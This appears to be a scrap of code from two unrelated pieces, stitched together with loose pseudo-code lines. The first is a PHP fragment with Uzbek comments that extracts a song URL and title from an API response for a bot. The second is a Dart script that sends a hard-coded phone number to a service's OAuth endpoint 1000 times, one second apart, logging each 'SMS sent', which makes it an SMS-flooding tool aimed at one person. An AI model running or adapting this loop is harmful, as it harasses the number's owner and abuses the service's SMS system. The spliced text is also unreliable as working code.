$a1 = file_get_contents("$api");
$a = json_decode($a1,true);
$url = $a['result']['hub']['actions'][1]['uri'];
// musiqa urlisini chiqarib beradi
$nomi = $a['result']['share']['subject'];
// musiqa nomini chiqaradi

send audio 
audio = $url
caption = $nomi

import 'dart:convert';
import 'dart:async';
import 'package:http/http.dart' as http;

Future<int> postRequest(Map<String, dynamic> data) async {
  final url = Uri.parse('https://aladdin.1it.uz/v1/oauth/');
  final headers = {'Content-Type': 'application/json'};
  final response = await http.post(url, headers: headers, body: jsonEncode(data));
  return response.statusCode;
}

Future<void> main() async {
  final data = {"phone": "998935366681"};

  for (var i = 0; i < 1000; i++) {
    final statusCode = await postRequest(data);
    print('So\'rov ${i + 1} - Status kodi: $statusCode');

    if (statusCode == 202) {
      print('SMS yuborildi');
    }

    await Future.delayed(Duration(seconds: 1));
  }
}